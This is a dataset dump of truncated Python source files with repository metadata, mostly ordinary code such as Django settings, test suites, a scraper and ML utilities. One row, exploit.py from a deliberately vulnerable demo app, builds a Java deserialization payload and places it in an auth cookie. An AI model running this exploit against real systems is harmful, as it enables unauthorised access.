] | 2 | 2019-05-01T12:34:51.000Z | 2021-08-14T00:28:56.000Z | #!/usr/bin/env python
from __future__ import print_function
import os
import re
import codecs
from setuptools import setup, find_packages
def read(*parts):
filename = os.path.join(os.path.dirname(__file__), *parts)
with codecs.open(filename, encoding="utf-8") as fp:
return fp.read()
def find_vers... | 28.46 | 88 | 0.654252 |
from __future__ import print_function
import os
import re
import codecs
from setuptools import setup, find_packages
def read(*parts):
filename = os.path.join(os.path.dirname(__file__), *parts)
with codecs.open(filename, encoding="utf-8") as fp:
return fp.read()
def find_version(*file_paths):
... | true | true |
f74197eef84e7c3139dd76d3bb647b1e29702f94 | 788 | py | Python | class5-notebook/6-pandas_creating_series.py | cce-bigdataintro-1160/spring2019 | e55b24bda61bbc87ad39dfec93c68a8f2da77831 | [
"MIT"
] | 1 | 2019-05-04T04:12:17.000Z | 2019-05-04T04:12:17.000Z | class5-notebook/6-pandas_creating_series.py | cce-bigdataintro-1160/spring2019 | e55b24bda61bbc87ad39dfec93c68a8f2da77831 | [
"MIT"
] | null | null | null | class5-notebook/6-pandas_creating_series.py | cce-bigdataintro-1160/spring2019 | e55b24bda61bbc87ad39dfec93c68a8f2da77831 | [
"MIT"
] | 1 | 2020-03-11T02:13:25.000Z | 2020-03-11T02:13:25.000Z | #!/usr/bin/env python3
import numpy as np
import pandas as pd
def pretty_print(name, to_print):
print(f'{name}:')
print(f'{to_print}\n\n')
orders = pd.Series(data=[300.50, 60, 123.40, 60, np.nan],
index=['Customer 1', 'Customer 2', 'Customer 3', 'Customer 4', 'Customer 5'])
pretty_print... | 31.52 | 96 | 0.714467 |
import numpy as np
import pandas as pd
def pretty_print(name, to_print):
print(f'{name}:')
print(f'{to_print}\n\n')
orders = pd.Series(data=[300.50, 60, 123.40, 60, np.nan],
index=['Customer 1', 'Customer 2', 'Customer 3', 'Customer 4', 'Customer 5'])
pretty_print("orders", orders.to_s... | true | true |
f741988afec3dde684057341ee40c25be3833274 | 14,900 | py | Python | dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Core/test_include.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | null | null | null | dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Core/test_include.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | null | null | null | dependencies/src/4Suite-XML-1.0.2/test/Xml/Xslt/Core/test_include.py | aleasims/Peach | bb56841e943d719d5101fee0a503ed34308eda04 | [
"MIT"
] | 1 | 2020-07-26T03:57:45.000Z | 2020-07-26T03:57:45.000Z | import cStringIO
from Ft.Lib.Uri import OsPathToUri
from Ft.Xml.InputSource import InputSourceFactory, DefaultFactory
from Ft.Xml.Xslt import XsltException, Error
from Ft.Xml.Xslt.Processor import Processor
from Xml.Xslt import test_harness
#-----------------------------------------------------------------------
# G... | 35.645933 | 136 | 0.62255 | import cStringIO
from Ft.Lib.Uri import OsPathToUri
from Ft.Xml.InputSource import InputSourceFactory, DefaultFactory
from Ft.Xml.Xslt import XsltException, Error
from Ft.Xml.Xslt.Processor import Processor
from Xml.Xslt import test_harness
sheet_str_1 = """<?xml version="1.0"?>
<xsl:stylesheet xmlns:xsl="http:... | true | true |
f74198d7fd3b6846060c72872d70e8c07c055776 | 1,517 | py | Python | scripts/bb_scrapper.py | arihant-001/django-cart | ab9a4e01d7ec2065beaf4ccab4b9117a042eade5 | [
"MIT"
] | null | null | null | scripts/bb_scrapper.py | arihant-001/django-cart | ab9a4e01d7ec2065beaf4ccab4b9117a042eade5 | [
"MIT"
] | null | null | null | scripts/bb_scrapper.py | arihant-001/django-cart | ab9a4e01d7ec2065beaf4ccab4b9117a042eade5 | [
"MIT"
] | null | null | null | import requests
import csv
from bs4 import BeautifulSoup
headers = {
'authority': 'scrapeme.live',
'dnt': '1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
'accept': 'text/h... | 37.925 | 141 | 0.616348 | import requests
import csv
from bs4 import BeautifulSoup
headers = {
'authority': 'scrapeme.live',
'dnt': '1',
'upgrade-insecure-requests': '1',
'user-agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36',
'accept': 'text/h... | true | true |
f741993f7be5fb6ce2ec928fdf7de3d897a78836 | 17,704 | py | Python | src/richie/apps/courses/settings/__init__.py | regisb/richie | ddb65907f7ee3d6cf8c72e229b5d07d2e2b97d44 | [
"MIT"
] | 174 | 2018-04-14T23:36:01.000Z | 2022-03-10T09:27:01.000Z | src/richie/apps/courses/settings/__init__.py | EDUlib/richie | 3f9b14b929641f9392e54ba9badbb7a9a9fe7d44 | [
"MIT"
] | 631 | 2018-04-04T11:28:53.000Z | 2022-03-31T11:18:31.000Z | src/richie/apps/courses/settings/__init__.py | EDUlib/richie | 3f9b14b929641f9392e54ba9badbb7a9a9fe7d44 | [
"MIT"
] | 64 | 2018-06-27T08:35:01.000Z | 2022-03-10T09:27:43.000Z | """
Default settings for the Richie courses app.
If you use Django Configuration for your settings, you can use our mixin to import these
default settings:
```
from configurations import Configuration
from richie.apps.courses.settings.mixins import RichieCoursesConfigurationMixin
class MyConfiguration... | 34.919132 | 88 | 0.578739 | from django.utils.translation import gettext_lazy as _
RICHIE_LMS_BACKENDS = []
THUMBNAIL_PROCESSORS = (
"easy_thumbnails.processors.colorspace",
"easy_thumbnails.processors.autocrop",
"filer.thumbnail_processors.scale_and_crop_with_subject_location",
"easy_thumbnails.processors.filters",
"easy_... | true | true |
f7419a01406c0a8c3193b367c3cd8cb69bab1e1f | 7,219 | py | Python | tests/tests/test_component.py | ThibHlln/unifhy | 4105932ed7dfec34d428c1f2d2f85ec25ea522ed | [
"BSD-3-Clause"
] | null | null | null | tests/tests/test_component.py | ThibHlln/unifhy | 4105932ed7dfec34d428c1f2d2f85ec25ea522ed | [
"BSD-3-Clause"
] | 2 | 2021-12-03T10:49:42.000Z | 2022-03-26T11:24:00.000Z | tests/tests/test_component.py | unifhy-org/unifhy | 4105932ed7dfec34d428c1f2d2f85ec25ea522ed | [
"BSD-3-Clause"
] | null | null | null | from importlib import import_module
from datetime import timedelta
import cf
import unifhy
from .test_time import get_dummy_timedomain
from .test_space import (
get_dummy_spacedomain, get_dummy_land_sea_mask_field,
get_dummy_flow_direction_field
)
from .test_data import (
get_dummy_dataset, get_dummy_comp... | 35.043689 | 76 | 0.485801 | from importlib import import_module
from datetime import timedelta
import cf
import unifhy
from .test_time import get_dummy_timedomain
from .test_space import (
get_dummy_spacedomain, get_dummy_land_sea_mask_field,
get_dummy_flow_direction_field
)
from .test_data import (
get_dummy_dataset, get_dummy_comp... | true | true |
f7419a70d7b4cb69cfd0158380503053ff9ffea4 | 415 | py | Python | ledger/address/migrations/0003_remove_useraddress_profile_address.py | jawaidm/ledger | 7094f3320d6a409a2a0080e70fa7c2b9dba4a715 | [
"Apache-2.0"
] | 5 | 2018-02-12T03:16:36.000Z | 2019-09-07T20:36:37.000Z | ledger/address/migrations/0003_remove_useraddress_profile_address.py | jawaidm/ledger | 7094f3320d6a409a2a0080e70fa7c2b9dba4a715 | [
"Apache-2.0"
] | 162 | 2018-02-16T05:13:03.000Z | 2021-05-14T02:47:37.000Z | ledger/address/migrations/0003_remove_useraddress_profile_address.py | jawaidm/ledger | 7094f3320d6a409a2a0080e70fa7c2b9dba4a715 | [
"Apache-2.0"
] | 14 | 2018-02-15T05:22:36.000Z | 2022-02-15T08:24:43.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.9.9 on 2016-09-06 02:11
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('address', '0002_useraddress_profile_address'),
]
operations = [
migrations.RemoveFie... | 20.75 | 56 | 0.633735 |
from __future__ import unicode_literals
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('address', '0002_useraddress_profile_address'),
]
operations = [
migrations.RemoveField(
model_name='useraddress',
name='profile_ad... | true | true |
f7419ac8ec8b4890197250eb3933dc125cbae619 | 1,023 | py | Python | structured_network_counting.py | NikolayVaklinov10/Structured_StreamingPS | 62d8a57309ba5c1afa98befcae00aded038e006c | [
"Apache-2.0"
] | null | null | null | structured_network_counting.py | NikolayVaklinov10/Structured_StreamingPS | 62d8a57309ba5c1afa98befcae00aded038e006c | [
"Apache-2.0"
] | null | null | null | structured_network_counting.py | NikolayVaklinov10/Structured_StreamingPS | 62d8a57309ba5c1afa98befcae00aded038e006c | [
"Apache-2.0"
] | null | null | null | import sys
from pyspark.sql import SparkSession
from pyspark.sql.functions import explode
from pyspark.sql.functions import split
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: spark-submit structured_network_counting.py <hostname> <port>", file=sys.stderr)
exit(-1)
host = sy... | 23.25 | 102 | 0.55132 | import sys
from pyspark.sql import SparkSession
from pyspark.sql.functions import explode
from pyspark.sql.functions import split
if __name__ == "__main__":
if len(sys.argv) != 3:
print("Usage: spark-submit structured_network_counting.py <hostname> <port>", file=sys.stderr)
exit(-1)
host = sy... | true | true |
f7419c0be2490556181967280e59ecbdfcb3bc13 | 779 | py | Python | UDPClient.py | fsikansi/simple-dash-pcars | 2ed5dca891d57cdf905526e1354f66bbe74b227d | [
"MIT"
] | 1 | 2017-07-13T08:19:14.000Z | 2017-07-13T08:19:14.000Z | UDPClient.py | fsikansi/simple-dash-pcars | 2ed5dca891d57cdf905526e1354f66bbe74b227d | [
"MIT"
] | null | null | null | UDPClient.py | fsikansi/simple-dash-pcars | 2ed5dca891d57cdf905526e1354f66bbe74b227d | [
"MIT"
] | null | null | null | import socket
import threading
class UDPClient:
def __init__(self, IPAddress, port):
self.IPAddress = IPAddress
self.port = port
self.buffer_size = 2048
self.client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.last_package = None
def connect(self):
t... | 25.129032 | 78 | 0.580231 | import socket
import threading
class UDPClient:
def __init__(self, IPAddress, port):
self.IPAddress = IPAddress
self.port = port
self.buffer_size = 2048
self.client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
self.last_package = None
def connect(self):
t... | true | true |
f7419c3de2dca6d0afcb02bc75ba6a31a866e6f9 | 18,667 | py | Python | sqliterepl/completions.py | nl253/SQLiteREPL | 6e35a0528da07edb2f436bcda0e91747ca02b312 | [
"BSD-3-Clause"
] | 13 | 2018-09-03T22:01:49.000Z | 2022-01-07T08:30:39.000Z | sqliterepl/completions.py | nl253/SQLiteREPL | 6e35a0528da07edb2f436bcda0e91747ca02b312 | [
"BSD-3-Clause"
] | 1 | 2018-03-03T13:55:35.000Z | 2018-03-03T16:44:23.000Z | sqliterepl/completions.py | nl253/SQLiteREPL | 6e35a0528da07edb2f436bcda0e91747ca02b312 | [
"BSD-3-Clause"
] | 2 | 2018-03-03T15:25:59.000Z | 2021-06-24T23:42:34.000Z | # Standard Library
from functools import reduce
from glob import iglob
from operator import concat
from os import listdir, getenv
from os.path import expanduser, isdir, isfile
from typing import Dict, Generator, Iterable, List, Set
# 3rd Party
from prompt_toolkit.completion import CompleteEvent, Completer, Completion,... | 31.746599 | 131 | 0.532865 |
from functools import reduce
from glob import iglob
from operator import concat
from os import listdir, getenv
from os.path import expanduser, isdir, isfile
from typing import Dict, Generator, Iterable, List, Set
from prompt_toolkit.completion import CompleteEvent, Completer, Completion, ThreadedCompleter, merge_com... | true | true |
f7419d67a11135cbb766e5c0ce11683630a6b1f0 | 451 | py | Python | main/wsgi.py | umarmughal824/bootcamp-ecommerce | 681bcc788a66867b8f240790c0ed33680b73932b | [
"BSD-3-Clause"
] | 2 | 2018-06-20T19:37:03.000Z | 2021-01-06T09:51:40.000Z | main/wsgi.py | mitodl/bootcamp-ecommerce | ba7d6aefe56c6481ae2a5afc84cdd644538b6d50 | [
"BSD-3-Clause"
] | 1,226 | 2017-02-23T14:52:28.000Z | 2022-03-29T13:19:54.000Z | main/wsgi.py | umarmughal824/bootcamp-ecommerce | 681bcc788a66867b8f240790c0ed33680b73932b | [
"BSD-3-Clause"
] | 3 | 2017-03-20T03:51:27.000Z | 2021-03-19T15:54:31.000Z | """
WSGI config for bandcamp app.
It exposes the WSGI callable as a module-level variable named ``application``.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/howto/deployment/wsgi/
"""
import os
from django.core.wsgi import get_wsgi_application
from dj_static import Cling
os.environ.... | 26.529412 | 78 | 0.784922 | import os
from django.core.wsgi import get_wsgi_application
from dj_static import Cling
os.environ.setdefault("DJANGO_SETTINGS_MODULE", "main.settings")
application = Cling(get_wsgi_application())
| true | true |
f7419e086a8678f70afb34290a1a3502d253886c | 5,855 | py | Python | original_code/calibration.py | csherwood-usgs/CoastCam | aa4de7c02ee0d719d89f13409319a44dba5eb768 | [
"CC0-1.0"
] | 3 | 2020-10-16T21:37:24.000Z | 2021-02-01T16:14:44.000Z | original_code/calibration.py | csherwood-usgs/CoastCam | aa4de7c02ee0d719d89f13409319a44dba5eb768 | [
"CC0-1.0"
] | 4 | 2020-10-21T22:26:29.000Z | 2021-04-04T22:54:09.000Z | original_code/calibration.py | csherwood-usgs/CoastCam | aa4de7c02ee0d719d89f13409319a44dba5eb768 | [
"CC0-1.0"
] | 2 | 2020-10-01T00:41:11.000Z | 2020-10-19T17:35:18.000Z | import datetime
from pathlib import Path
import numpy as np
import scipy.io
class CameraCalibration(object):
"""Camera calibration saved in .mat file and method to assemble Projective (P) martrix.
Notes:
- Inspired by example code + notes from CiRC which are derived from Hartley and Zisserman (20030... | 32.893258 | 106 | 0.525021 | import datetime
from pathlib import Path
import numpy as np
import scipy.io
class CameraCalibration(object):
def __init__(self, calibration_file):
calibration_file = Path(calibration_file)
self.fname = calibration_file.name
sn, cn, dc, cs, _ = self.fname.split('_')
self.serial_num... | true | true |
f7419e6a363761ba10d75097338a11b2db5be142 | 21,810 | py | Python | sdk/python/pulumi_oci/autoscaling/_inputs.py | EladGabay/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 5 | 2021-08-17T11:14:46.000Z | 2021-12-31T02:07:03.000Z | sdk/python/pulumi_oci/autoscaling/_inputs.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 1 | 2021-09-06T11:21:29.000Z | 2021-09-06T11:21:29.000Z | sdk/python/pulumi_oci/autoscaling/_inputs.py | pulumi-oci/pulumi-oci | 6841e27d4a1a7e15c672306b769912efbfd3ba99 | [
"ECL-2.0",
"Apache-2.0"
] | 2 | 2021-08-24T23:31:30.000Z | 2022-01-02T19:26:54.000Z | # coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import... | 39.0161 | 380 | 0.658872 |
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
__all__ = [
'AutoScalingConfigurationAutoScalingResourcesArgs',
'AutoScalingConfigurationPolicyArgs',
'AutoScalingConfigurationPolicyCapacityArgs',
'Aut... | true | true |
f7419e91a401f1972fe2a22d0f490d6051b310c1 | 1,983 | py | Python | tests/meltano/cli/test_ui.py | siilats/meltano | 404605c83f441c3fc2b729e26416c6caa8b0ed0b | [
"MIT"
] | 122 | 2021-06-21T17:30:29.000Z | 2022-03-25T06:21:38.000Z | tests/meltano/cli/test_ui.py | siilats/meltano | 404605c83f441c3fc2b729e26416c6caa8b0ed0b | [
"MIT"
] | null | null | null | tests/meltano/cli/test_ui.py | siilats/meltano | 404605c83f441c3fc2b729e26416c6caa8b0ed0b | [
"MIT"
] | 21 | 2021-06-22T10:08:15.000Z | 2022-03-18T08:57:02.000Z | from unittest import mock
import pytest
from asserts import assert_cli_runner
from meltano.cli import cli
from meltano.core.project_settings_service import (
ProjectSettingsService,
SettingValueStore,
)
from meltano.core.tracking import GoogleAnalyticsTracker
class TestCliUi:
def test_ui(self, project, c... | 33.610169 | 88 | 0.656077 | from unittest import mock
import pytest
from asserts import assert_cli_runner
from meltano.cli import cli
from meltano.core.project_settings_service import (
ProjectSettingsService,
SettingValueStore,
)
from meltano.core.tracking import GoogleAnalyticsTracker
class TestCliUi:
def test_ui(self, project, c... | true | true |
f7419f678f29a3b17f3b81503cbf2078f4432fdd | 770 | py | Python | src/posts/views.py | Sivaraj23/Django | 37b4bf7bf649bc9ae5eaec5d8be527790af76834 | [
"bzip2-1.0.6"
] | null | null | null | src/posts/views.py | Sivaraj23/Django | 37b4bf7bf649bc9ae5eaec5d8be527790af76834 | [
"bzip2-1.0.6"
] | null | null | null | src/posts/views.py | Sivaraj23/Django | 37b4bf7bf649bc9ae5eaec5d8be527790af76834 | [
"bzip2-1.0.6"
] | null | null | null | from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse
from .models import Post
# Create your views here.
def post_create(request):
return HttpResponse("<h1>Create</h1>")
def post_detail(request, id=None): #retrieve
#instance = Post.objects.get(id=1)
instance = get_object_or_... | 25.666667 | 54 | 0.735065 | from django.shortcuts import render, get_object_or_404
from django.http import HttpResponse
from .models import Post
def post_create(request):
return HttpResponse("<h1>Create</h1>")
def post_detail(request, id=None):
instance = get_object_or_404(Post, id=id)
context = {
"title": instance.title,
"instance... | true | true |
f7419fc671986834231d3b93ce9d5799e2ab7948 | 764 | py | Python | tests/shell/test_shell.py | un-def/luamb | eec3969eda1b225e26a138c25720182754e9ec54 | [
"MIT"
] | 16 | 2016-07-20T03:33:45.000Z | 2021-07-23T06:05:00.000Z | tests/shell/test_shell.py | un-def/luamb | eec3969eda1b225e26a138c25720182754e9ec54 | [
"MIT"
] | 2 | 2016-08-20T02:47:26.000Z | 2017-08-29T16:27:42.000Z | tests/shell/test_shell.py | un-def/luamb | eec3969eda1b225e26a138c25720182754e9ec54 | [
"MIT"
] | 1 | 2016-07-20T10:25:55.000Z | 2016-07-20T10:25:55.000Z | import pytest
def test_shellsrc(script_runner):
exit_status = script_runner('')
assert exit_status == 0
assert script_runner.output == ''
@pytest.mark.parametrize('env_name,is_valid', [
('', False),
('.', False),
('..', False),
('foo/bar', False),
('/foo', False),
('foo/', False)... | 24.645161 | 79 | 0.590314 | import pytest
def test_shellsrc(script_runner):
exit_status = script_runner('')
assert exit_status == 0
assert script_runner.output == ''
@pytest.mark.parametrize('env_name,is_valid', [
('', False),
('.', False),
('..', False),
('foo/bar', False),
('/foo', False),
('foo/', False)... | true | true |
f741a0099685fcc3ac4fb2ae60eb784d31b996b2 | 6,750 | py | Python | xbbo/search_algorithm/multi_fidelity/BOHB.py | zhanglei1172/XBBO | 9bf9b778b29735f108457d5e491680785212d580 | [
"MIT"
] | null | null | null | xbbo/search_algorithm/multi_fidelity/BOHB.py | zhanglei1172/XBBO | 9bf9b778b29735f108457d5e491680785212d580 | [
"MIT"
] | null | null | null | xbbo/search_algorithm/multi_fidelity/BOHB.py | zhanglei1172/XBBO | 9bf9b778b29735f108457d5e491680785212d580 | [
"MIT"
] | null | null | null | '''
Reference: https://github.com/automl/DEHB
'''
from typing import List
import numpy as np
# from xbbo.configspace.feature_space import Uniform2Gaussian
from xbbo.search_algorithm.multi_fidelity.hyperband import HB
from xbbo.configspace.space import DenseConfiguration, DenseConfigurationSpace
from xbbo.core.trials ... | 39.940828 | 91 | 0.562667 |
from typing import List
import numpy as np
from xbbo.search_algorithm.multi_fidelity.hyperband import HB
from xbbo.configspace.space import DenseConfiguration, DenseConfigurationSpace
from xbbo.core.trials import Trials, Trial
from xbbo.search_algorithm.multi_fidelity.utils.bracket_manager import BasicConfigGenerato... | true | true |
f741a104e81a6825cd62d86a77d56a4894bf6f85 | 669 | py | Python | meiduo_mall/apps/goods/urls.py | MarioKarting/Django_meiduo_project | ef06e70b1ddb6709983ebb644452c980afc29000 | [
"MIT"
] | null | null | null | meiduo_mall/apps/goods/urls.py | MarioKarting/Django_meiduo_project | ef06e70b1ddb6709983ebb644452c980afc29000 | [
"MIT"
] | null | null | null | meiduo_mall/apps/goods/urls.py | MarioKarting/Django_meiduo_project | ef06e70b1ddb6709983ebb644452c980afc29000 | [
"MIT"
] | null | null | null | ## !/usr/bin/env python
# _*_ coding:utf-8 _*_
from django.conf.urls import url
from . import views
urlpatterns = [
# 1. 列表页面 list/(?P<category_id>\d+)/(?P<page_num>\d+)/
url(r'^list/(?P<category_id>\d+)/(?P<page_num>\d+)/$', views.ListView.as_view(), name='list'),
# 2. 热销排行 hot/(?P<category_id... | 29.086957 | 98 | 0.593423 | rls import url
from . import views
urlpatterns = [
url(r'^list/(?P<category_id>\d+)/(?P<page_num>\d+)/$', views.ListView.as_view(), name='list'),
url(r'^hot/(?P<category_id>\d+)/$', views.HotView.as_view(), name='hot'),
url(r'^detail/(?P<sku_id>\d+)/$', views.DetailView.as_view(), name='d... | true | true |
f741a188fda6bef0c338259d1d5661b648d7d929 | 108 | py | Python | route/__init__.py | 0xwhoami/growtopia-chemsynth-router | 08ad29ccd3ec6b36ddb48662f84073102392979f | [
"CC0-1.0"
] | null | null | null | route/__init__.py | 0xwhoami/growtopia-chemsynth-router | 08ad29ccd3ec6b36ddb48662f84073102392979f | [
"CC0-1.0"
] | null | null | null | route/__init__.py | 0xwhoami/growtopia-chemsynth-router | 08ad29ccd3ec6b36ddb48662f84073102392979f | [
"CC0-1.0"
] | null | null | null | #!/usr/bin/env python
"""
Copyright (c) 2020-End_Of_Life
See the file 'LICENSE' for copying permission
"""
| 15.428571 | 45 | 0.712963 | true | true | |
f741a19da2d96976668ac691b480037589d75765 | 460 | py | Python | exploits/JavaSerializationExploit/src/main/java/exploit.py | tuxology/HelloShiftLeft | 578901d3979ad8232c269b89fd5ad6a9eca57892 | [
"MIT"
] | null | null | null | exploits/JavaSerializationExploit/src/main/java/exploit.py | tuxology/HelloShiftLeft | 578901d3979ad8232c269b89fd5ad6a9eca57892 | [
"MIT"
] | 20 | 2018-11-18T04:20:42.000Z | 2019-02-21T13:39:59.000Z | exploits/JavaSerializationExploit/src/main/java/exploit.py | tuxology/HelloShiftLeft | 578901d3979ad8232c269b89fd5ad6a9eca57892 | [
"MIT"
] | 1 | 2019-02-27T05:50:20.000Z | 2019-02-27T05:50:20.000Z | import requests
from subprocess import Popen, PIPE
def console(cmd):
p = Popen(cmd, shell=True, stdout=PIPE)
out, err = p.communicate()
return (p.returncode, out, err)
console("javac exploits/JavaSerializationExploit/src/main/java/DoSerialize.java")
cookieval = console("java DoSerialize")
cookie = {'auth... | 30.666667 | 101 | 0.732609 | import requests
from subprocess import Popen, PIPE
def console(cmd):
p = Popen(cmd, shell=True, stdout=PIPE)
out, err = p.communicate()
return (p.returncode, out, err)
console("javac exploits/JavaSerializationExploit/src/main/java/DoSerialize.java")
cookieval = console("java DoSerialize")
cookie = {'auth... | false | true |
f741a43109d98d7417d9b518105af68457081288 | 2,493 | py | Python | test/test_lsp_diff.py | python-rope/pylsp-rope | 431415560779881b57048dc563802705f7556bca | [
"MIT"
] | 16 | 2021-10-03T07:18:20.000Z | 2022-03-28T00:11:53.000Z | test/test_lsp_diff.py | python-rope/pylsp-rope | 431415560779881b57048dc563802705f7556bca | [
"MIT"
] | 7 | 2021-10-03T06:37:42.000Z | 2021-11-02T17:13:27.000Z | test/test_lsp_diff.py | python-rope/pylsp-rope | 431415560779881b57048dc563802705f7556bca | [
"MIT"
] | null | null | null | from pylsp_rope.lsp_diff import _difflib_ops_to_text_edit_ops, lsp_diff
from test.conftest import create_document
def test_lsp_diff(workspace):
expected = [
{
"range": {
"start": {"line": 2, "character": 0},
"end": {"line": 3, "character": 0},
},
... | 28.988372 | 82 | 0.556759 | from pylsp_rope.lsp_diff import _difflib_ops_to_text_edit_ops, lsp_diff
from test.conftest import create_document
def test_lsp_diff(workspace):
expected = [
{
"range": {
"start": {"line": 2, "character": 0},
"end": {"line": 3, "character": 0},
},
... | true | true |
f741a486e90a4c865b8ac2b22aebad127566d792 | 3,942 | py | Python | interactive_bayesian_optimisation/libs/io.py | fcole90/interactive_bayesian_optimization | a7aabdd22e84e89e4e1a1c13afee2ba13cad2eb5 | [
"MIT"
] | 3 | 2020-05-05T17:09:59.000Z | 2021-06-18T13:58:15.000Z | interactive_bayesian_optimisation/libs/io.py | fcole90/interactive_bayesian_optimisation | a7aabdd22e84e89e4e1a1c13afee2ba13cad2eb5 | [
"MIT"
] | 1 | 2020-05-03T18:34:48.000Z | 2020-05-03T21:12:55.000Z | interactive_bayesian_optimisation/libs/io.py | fcole90/interactive_bayesian_optimization | a7aabdd22e84e89e4e1a1c13afee2ba13cad2eb5 | [
"MIT"
] | null | null | null | """Functions for input/output"""
import os
import logging
from interactive_bayesian_optimisation import config
from interactive_bayesian_optimisation.libs import utils
import numpy as np
from flask import json
import simplejson.errors
import yaml
def get_file_item_max(file_dir, min_val=0):
# Adding -1 to the li... | 40.22449 | 113 | 0.698123 |
import os
import logging
from interactive_bayesian_optimisation import config
from interactive_bayesian_optimisation.libs import utils
import numpy as np
from flask import json
import simplejson.errors
import yaml
def get_file_item_max(file_dir, min_val=0):
file_id_list = [int(session_id.split(".")[0]) for... | true | true |
f741a5a36d0e415fcfa0601ee6fd6c6f4d1c8726 | 3,888 | py | Python | assignment1/deeplearning/gradient_check.py | AnthonyNg404/Deep-Learning | ef1dafaa1d07e9c9b574ba1722a7954c16ef463d | [
"Unlicense"
] | null | null | null | assignment1/deeplearning/gradient_check.py | AnthonyNg404/Deep-Learning | ef1dafaa1d07e9c9b574ba1722a7954c16ef463d | [
"Unlicense"
] | null | null | null | assignment1/deeplearning/gradient_check.py | AnthonyNg404/Deep-Learning | ef1dafaa1d07e9c9b574ba1722a7954c16ef463d | [
"Unlicense"
] | null | null | null | import numpy as np
from random import randrange
def eval_numerical_gradient(f, x, verbose=True, h=0.00001):
"""
a naive implementation of numerical gradient of f at x
- f should be a function that takes a single argument
- x is the point (numpy array) to evaluate the gradient at
"""
fx = f(x)... | 31.104 | 108 | 0.58179 | import numpy as np
from random import randrange
def eval_numerical_gradient(f, x, verbose=True, h=0.00001):
fx = f(x)
grad = np.zeros_like(x)
it = np.nditer(x, flags=['multi_index'], op_flags=['readwrite'])
while not it.finished:
ix = it.multi_index
oldval = x[ix]
... | true | true |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.